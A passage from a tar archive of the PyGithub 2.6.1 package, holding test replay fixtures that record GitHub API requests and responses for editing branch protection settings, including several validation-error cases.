('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C500:3E80EA:1547284:1590C22:676199F4')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection","required_status_checks":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":[],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts","checks":[]},"required_pull_request_reviews":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":true,"require_last_push_approval":true,"required_approving_review_count":2},"required_signatures":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures","enabled":false},"enforce_admins":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins","enabled":true},"required_linear_history":{"enabled":false},"allow_force_pushes":{"enabled":false},"allow_deletions":{"enabled":false},"block_creations":{"enabled":false},"required_conversation_resolution":{"enabled":false},"lock_branch":{"enabled":false},"allow_fork_syncing":{"enabled":false}} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Accept': 'application/vnd.github.luke-cage-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Dec 2024 15:34:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7183d96085bf729a314755409418bbead92fbd43a9fb54d5f82ac9c67cca3390"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=luke-cage-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4802'), ('X-RateLimit-Reset', '1734453089'), ('X-RateLimit-Used', '198'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C50E:3C5A13:15674C2:15B0E6A:676199F5')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection","required_status_checks":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":[],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts","checks":[]},"required_pull_request_reviews":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":true,"require_last_push_approval":true,"required_approving_review_count":2},"required_signatures":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures","enabled":false},"enforce_admins":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins","enabled":true},"required_linear_history":{"enabled":false},"allow_force_pushes":{"enabled":false},"allow_deletions":{"enabled":false},"block_creations":{"enabled":false},"required_conversation_resolution":{"enabled":false},"lock_branch":{"enabled":false},"allow_fork_syncing":{"enabled":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditProtectionDismissalUsersWithUserOwnedBranch.txt0000644000175100001660000000224014756101563032446 0ustar00runnerdockerhttps PUT api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} {"restrictions": null, "required_pull_request_reviews": {"dismissal_restrictions": {"users": ["jacquev6"]}}, "required_status_checks": null, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 422 [('status', '422 Unprocessable Entity'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sun, 13 May 2018 10:42:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#update-branch-protection","message":"Validation Failed","errors":["Only organization repositories can have users and team restrictions"]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditProtectionPushRestrictionsAndDismissalUser.txt0000644000175100001660000002145314756101563032360 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/branches/master/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} {"restrictions": {"apps": [], "teams": [], "users": ["jacquev6"]}, "required_pull_request_reviews": {"dismissal_restrictions": {"users": ["jacquev6"]}}, "required_status_checks": null, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sun, 13 May 2018 13:21:24 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} None 200 [('x-runtime-rack', '0.049160'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"a4ef2f2bcfdf33fadd5c8fa6867ebc3a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '860C:2DC5:28789D:34E3E8:5AF7FF18'), ('date', 'Sun, 13 May 2018 09:02:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526204223')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection","restrictions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/restrictions","users_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/restrictions/users","teams":[],"teams_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams","users":[{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"VincentJacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris,France","id":327146,"following":24}]},"required_pull_request_reviews":{"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":false,"dismissal_restrictions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/dismissal_restrictions","users_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/dismissal_restrictions/users","teams":[],"teams_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/dismissal_restrictions/teams","users":[{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"VincentJacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris,France","id":327146,"following":24}]}},"enforce_admins":{"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/enforce_admins","enabled":false}} https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.049160'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"a4ef2f2bcfdf33fadd5c8fa6867ebc3a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '860C:2DC5:28789D:34E3E8:5AF7FF18'), ('date', 'Sun, 13 May 2018 09:02:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526204223')] [{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"VincentJacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris,France","id":327146,"following":24}] https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.049160'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"a4ef2f2bcfdf33fadd5c8fa6867ebc3a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '860C:2DC5:28789D:34E3E8:5AF7FF18'), ('date', 'Sun, 13 May 2018 09:02:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526204223')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditProtectionPushRestrictionsWithUserOwnedBranch.txt0000644000175100001660000000223514756101563033030 0ustar00runnerdockerhttps PUT api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} {"restrictions": {"apps": [], "users": ["jacquev6"], "teams": []}, "required_pull_request_reviews": null, "required_status_checks": null, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 422 [('status', '422 Unprocessable Entity'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sat, 05 May 2018 06:05:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#update-branch-protection","message":"Validation Failed","errors":["Only organization repositories can have users and team restrictions"]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredPullRequestReviews.txt0000644000175100001660000000463114756101563027160 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} {"dismiss_stale_reviews":true, "required_approving_review_count": 2} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Mon, 07 May 2018 13:42:41 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} None 200 [('x-runtime-rack', '0.041627'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"3488d056130a553f9c03f03ed12d07db"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '8C96:2DD0:1347823:192926E:5AF58689'), ('date', 'Fri, 11 May 2018 12:03:36 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":true,"require_code_owner_reviews":true,"required_approving_review_count":2} ././@PaxHeader0000000000000000000000000000021500000000000010213 xustar00119 path=pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredPullRequestReviewsWithTooLargeApprovingReviewCount.txt 22 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredPullRequestReviewsWithTooLargeApprovingReview0000644000175100001660000000256714756101563033711 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} {"required_approving_review_count": 9} 422 [('status', '422 Unprocessable Entity'), ('content-length', '227'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 28 Aug 2018 04:44:52 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch","message":"Invalid request.\n\n9 must be less than or equal to 6."} ././@PaxHeader0000000000000000000000000000021400000000000010212 xustar00118 path=pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredPullRequestReviewsWithUserBranchAndDismissalUsers.txt 22 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredPullRequestReviewsWithUserBranchAndDismissalU0000644000175100001660000000264014756101563033572 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} {"dismissal_restrictions":{"users":["jacquev6"]}} 422 [('status', '422 Unprocessable Entity'), ('content-length', '227'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 07 May 2018 12:46:55 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch","message":"Dismissal restrictions are supported only for repositories owned by an organization."} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredStatusChecks.txt0000644000175100001660000000441314756101563025730 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"strict":true} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Mon, 07 May 2018 13:42:41 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 11 May 2018 11:38:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":["foo/bar"],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredStatusChecksChecks.txt0000644000175100001660000001066214756101563027054 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"checks": [{"context": "check1"}, {"context": "check2", "app_id": -1}, {"context": "check3", "app_id": 123456}]} 200 [('Date', 'Tue, 17 Dec 2024 16:27:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a162f49d4e13f6d7169a69116cb451428a9769591fffd0f0ef00dd110b4d36f4"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4623'), ('X-RateLimit-Reset', '1734453089'), ('X-RateLimit-Used', '377'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '805C:3AA3B8:19B8617:1A0FA57:6761A68C')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":["check1","check2","check3"],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts","checks":[{"context":"check1","app_id":null},{"context":"check2","app_id":null},{"context":"check3","app_id":123456}]} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Dec 2024 16:27:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a162f49d4e13f6d7169a69116cb451428a9769591fffd0f0ef00dd110b4d36f4"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4622'), ('X-RateLimit-Reset', '1734453089'), ('X-RateLimit-Used', '378'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '806C:3C5A13:1906D32:195E15D:6761A68D')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":["check1","check2","check3"],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts","checks":[{"context":"check1","app_id":null},{"context":"check2","app_id":null},{"context":"check3","app_id":123456}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 